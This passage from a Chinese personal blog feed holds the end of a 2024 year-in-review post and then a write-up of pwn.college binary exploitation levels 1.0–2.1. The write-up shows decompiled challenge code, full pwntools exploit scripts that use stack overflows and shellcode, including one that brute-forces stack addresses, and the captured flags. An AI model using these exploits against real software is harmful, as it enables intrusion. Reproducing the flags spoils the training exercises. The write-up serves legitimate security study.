&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.361vdm3sxm.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh2nfv65s.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7w74c0xkwi.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;明年想去滨江大道看一回日出/日落，上次去正好赶了个尾。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1apakzun58.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2ks7rbdlsv.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8dx60mbue7.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;哎今年上海还下过雪吗，我好像没印象了，但是我发过&lt;a href=&quot;https://memos.cubeyond.net/m/Wu4cEJuJo7gmLRi24fuVem&quot;&gt;记录&lt;/a&gt;？&lt;/p&gt;
&lt;h2&gt;语丝&lt;/h2&gt;
&lt;p&gt;从群友那看到一首歌，感觉不错，特此记录：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;长亭外，古道边，芳草碧连天&amp;lt;br /&amp;gt;
晚风拂柳笛声残，夕阳山外山&amp;lt;br /&amp;gt;
天之涯，地之角，知交半零落&amp;lt;br /&amp;gt;
人生难得是欢聚，唯有别离多&amp;lt;br /&amp;gt;&lt;/p&gt;
&lt;p&gt;问君此去几时还，来时莫徘徊&amp;lt;br /&amp;gt;
一壶浊洒尽余欢，今宵别梦寒&amp;lt;br /&amp;gt;
——李叔同《送别》&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://memos.cubeyond.net/m/BkTVKDW7BJrVpaArLskGFi&quot;&gt;12/29/2024&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;日常闲逛知乎看到的 LOL&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我听闻最美的故事，是公主死去了，屠龙的少年还在燃烧。&amp;lt;br /&amp;gt;
火苗再小，你都要反复的点燃。&amp;lt;br /&amp;gt;
所谓热血的少年，青涩的爱恋，死亡与梦之约。&amp;lt;br /&amp;gt;
这么好的故事，&amp;lt;br /&amp;gt;
你可别演砸了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://memos.cubeyond.net/m/ZL6RsJrQz2PezdqhKjvNL6&quot;&gt;12/29/2024&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对**&lt;em&gt;《少有人走的路——心智成熟的旅程》&lt;/em&gt;**中某个片段有感而发写下的：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当时间的尘埃落定，回望曾经的风暴，那些曾让人撕心裂肺的片段，如今却只像一幅褪了色的旧画，当时以为无法承受，如今不过云烟过眼。&lt;/p&gt;
&lt;p&gt;回望旧事，不觉心中波澜，只余一声轻叹。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://memos.cubeyond.net/m/VLjV4yRG2n8XvredLSDqj7&quot;&gt;11/25/2024 书&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其实还有不少，我就不一一罗列了，想看的请&lt;a href=&quot;https://memos.cubeyond.net/explore&quot;&gt;点这里&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;阅读&lt;/h2&gt;
&lt;p&gt;今年在读的有三本书，但最后读完的只有王爽的**&lt;em&gt;《汇编语言（第 4 版）》&lt;/em&gt;&lt;strong&gt;这一本。另外两本交替着看，一本是&lt;/strong&gt;&lt;em&gt;《少有人走的路——心智成熟的旅程》&lt;/em&gt;&lt;strong&gt;，通过这本书学到了不少，有关自律、爱、信仰等这些问题，都是我需要精进、学习的，总之受益颇丰。还有一本是&lt;/strong&gt;&lt;em&gt;《程序员的自由修养——链接、装载与库》&lt;/em&gt;**，看这本书让我补足了不少底层原理，学起 Pwn 来更顺畅了。其实一次读多本书也不是什么难事哈哈哈，年轻人就该这样！&lt;/p&gt;
&lt;p&gt;看看书架，目前勉强够放。&amp;lt;s&amp;gt;&lt;em&gt;以后想归乡隐居，自己建一个大书房，与家人一起，过属于普通人那平凡而又不那么平凡的生活嘿嘿嘿。&lt;/em&gt;&amp;lt;/s&amp;gt;是 yy 吗？不，一定可以实现！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.lw10zk0vg.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;健身&lt;/h2&gt;
&lt;p&gt;今年太摆了，练的不多。想练练小臂，感觉小臂维度急需发展啊……&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.icf39sige.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2obtp1l0e4.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.45hyqsppb7.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;娱乐&lt;/h2&gt;
&lt;p&gt;真不敢相信今年自己就玩了 17114 mins。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.39lhbch4jy.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axgpqlx90.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5trbnzlben.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1vyy7bba80.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.64e5h52azt.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;结语&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;凡是过往，皆为序章，&amp;lt;br /&amp;gt;
所有未来，皆有希望。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;新的一年，愿我们都能珍惜身边的每一个人，慢下脚步，用心去感受每一个晨曦暮霭，珍惜每一场平凡的相逢。生命无常，来日不一定方长，能握在手里的，唯有当下。&lt;/p&gt;
&lt;p&gt;最后，山野万万里，余生路漫漫。日暮酒杯淡饭，一半一半。愿 2025，看清，看轻。心怀暖阳，携梦启程，奔赴远方。&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Program Security (Program Exploitation) series (Completed)</title><link>https://cubeyond.net/posts/write-ups/pwncollege-program-exploitation/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-program-exploitation/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Sun, 29 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;之前说啥来着？想嗨几天？害，我看我是停不下来了 &lt;em&gt;^-^&lt;/em&gt; ~&lt;em&gt;听着，陌生人，你还年轻，千万别学我，天天厮混在这该死的二进制的海洋里面。带上朋友们一起加入吧 bushi&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;嗯，这章是之前 &lt;a href=&quot;/posts/memory-errors/&quot;&gt;Memory Errors&lt;/a&gt; 和 &lt;a href=&quot;/posts/shellcode-injection&quot;&gt;Shellcode Injection&lt;/a&gt; 的组合，需要我们充分利用之前所学的一切知识来组织攻击链。&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;感觉应该挺简单。我，CuB3y0nd，请求出征！&lt;/em&gt;~&lt;/p&gt;
&lt;h1&gt;Level 1.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving shellcode and a method of tricking the challenge into executing it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-60h] BYREF
  int v7; // [rsp+1Ch] [rbp-44h]
  size_t nbytes; // [rsp+28h] [rbp-38h] BYREF
  _QWORD v9[3]; // [rsp+30h] [rbp-30h] BYREF
  char v10; // [rsp+48h] [rbp-18h]
  int v11; // [rsp+54h] [rbp-Ch]
  void *buf; // [rsp+58h] [rbp-8h]
  __int64 savedregs; // [rsp+60h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+68h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  memset(v9, 0, sizeof(v9));
  v10 = 0;
  buf = v9;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 25);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the canary is disabled, otherwise you would corrupt it before&quot;);
  puts(&quot;overwriting the return address, and the program would abort.&quot;);
  shellcode = mmap((void *)0x2247D000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)575131648 )
    __assert_fail(&quot;shellcode == (void *)0x2247d000&quot;, &quot;/challenge/toddlerone-level-1-0.c&quot;, 0x95u, &quot;challenge&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x2247D000);
  puts(&quot;Reading 0x1000 bytes of shellcode from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/toddlerone-level-1-0.c&quot;, 0x99u, &quot;challenge&quot;);
  puts(&quot;This challenge has loaded the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_374C);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 25);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v11 = read(0, buf, nbytes);
  if ( v11 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v11);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  putchar(10);
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;~&lt;em&gt;所以，我一眼就看出了你的所有漏洞，并用不到 10 秒想出了一套完整的针对你的攻击链。你，不愧是一道纯正的开胃菜。&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;握草了好下笔啊啊啊啊。&lt;/em&gt;~下面讲正经的，shellcode 方面没遇到什么限制，程序在 &lt;code&gt;0x2247D000&lt;/code&gt; 专门为我们的 shellcode 分配了 &lt;code&gt;0x1000&lt;/code&gt; 字节的 &lt;code&gt;rwx&lt;/code&gt; 空间，我们随心日它就完了。随后，有一个任意大小读，用它溢出 &lt;code&gt;buf&lt;/code&gt; 并覆盖返回地址为 &lt;code&gt;0x2247D000&lt;/code&gt; 即可。easy peasy!&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellcraft

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-1-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

padding_to_ret = b&quot;&quot;.ljust(0x38, b&quot;A&quot;)
ret_addr = p64(0x2247D000)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(stage):
    stage_1 = shellcraft.cat(&quot;/flag&quot;)
    stage_2 = padding_to_ret + ret_addr

    if stage == 1:
        return asm(stage_1)
    elif stage == 2:
        return stage_2
    else:
        log.failure(&quot;Unknown stage number.&quot;)


def attack(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(1)

        send_payload(target, payload)

        payload = construct_payload(2)

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{YRuLYIKU6u9uASqOycoKQO17Ttn.0VOxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 1.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving shellcode and a method of tricking the challenge into executing it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;以后像这种子 level，如非必要，我都不会再贴 wp 了，因为和 main level 没太大区别，无非就是删除了多余的提示信息，strip 了符号表和调试信息。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellcraft

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-1-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

padding_to_ret = b&quot;&quot;.ljust(0x78, b&quot;A&quot;)
ret_addr = p64(0x22A60000)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(stage):
    stage_1 = shellcraft.cat(&quot;/flag&quot;)
    stage_2 = padding_to_ret + ret_addr

    if stage == 1:
        return asm(stage_1)
    elif stage == 2:
        return stage_2
    else:
        log.failure(&quot;Unknown stage number.&quot;)


def attack(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(1)

        send_payload(target, payload)

        payload = construct_payload(2)

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{8kWI1BeY-FwKn2lIHdlSEEYHZ_G.0FMyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 2.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it. Note, ASLR is disabled!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-50h] BYREF
  int v7; // [rsp+1Ch] [rbp-34h]
  size_t nbytes; // [rsp+28h] [rbp-28h] BYREF
  _QWORD v9[2]; // [rsp+30h] [rbp-20h] BYREF
  int v10; // [rsp+44h] [rbp-Ch]
  void *buf; // [rsp+48h] [rbp-8h]
  __int64 savedregs; // [rsp+50h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+58h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  v9[0] = 0LL;
  v9[1] = 0LL;
  buf = v9;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 16);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the canary is disabled, otherwise you would corrupt it before&quot;);
  puts(&quot;overwriting the return address, and the program would abort.&quot;);
  puts(&quot;- the binary is *not* position independent. This means that it will be&quot;);
  puts(&quot;located at the same spot every time it is run, which means that by&quot;);
  puts(&quot;analyzing the binary (using objdump or reading this output), you can&quot;);
  puts(&quot;know the exact value that you need to overwrite the return address with.\n&quot;);
  puts(&quot;- the binary will disable aslr. This means that everything in memory will be&quot;);
  puts(&quot;located at the same spot every time it is run, which means that by&quot;);
  puts(&quot;analyzing the binary (using objdump or reading this output), you can&quot;);
  puts(&quot;know the exact value that you need to overwrite the return address with.&quot;);
  puts(&quot;Furthermore, you know the absolute address of everything on the stack.\n&quot;);
  puts(&quot;- the stack is executable. This means that if the stack contains shellcode&quot;);
  puts(&quot;and you overwrite the return address with the address of that shellcode, it will execute.\n&quot;);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 16);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v10 = read(0, buf, nbytes);
  if ( v10 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v10);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  putchar(10);
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很明显的栈溢出，没开 ASLR，而栈又有 &lt;code&gt;rwx&lt;/code&gt; 权限。那我们把 shellcode 注入到 &lt;code&gt;buf&lt;/code&gt; 头，再覆盖返回地址为 &lt;code&gt;buf&lt;/code&gt; 头的地址就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-2-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

ret_addr = p64(0x00007FFFFFFFD330)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(padding_size):
    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(padding_size - shellcode_length, b&quot;A&quot;)
    shellcode += ret_addr

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        target.recvall(timeout=5)

        with open(&quot;./f&quot;, &quot;r&quot;) as file:
            content = file.read()

            log.success(content)
    except FileNotFoundError:
        log.error(&quot;The file &apos;./f&apos; does not exist.&quot;)
    except PermissionError:
        log.error(&quot;Permission denied to read &apos;./f&apos;.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(0x28)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{8534tOGLdefUghR4lz5RbC5wYk5.0VMyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 2.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it. Note, ASLR is disabled!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题没回显，所以问题就是返回地址是什么了。因为没开 ASLR，每次栈的基地址都是相同的，所以这里我直接采用爆破的方式了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, time

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-2-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

ret_addr = 0x7FFFFFFDE000


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(padding_size):
    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(padding_size - shellcode_length, b&quot;A&quot;)
    shellcode += p64(ret_addr)

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        target.recvall(timeout=5)

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    global ret_addr

    start_time = time.time()

    while True:
        try:
            target = launch()
            payload = construct_payload(0x48)

            if attack(target, payload):
                break

            ret_addr += 0x8
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)

    end_time = time.time()
    elapsed_time = end_time - start_time
    log.success(f&quot;Total elapsed time: {elapsed_time:.2f} seconds.&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
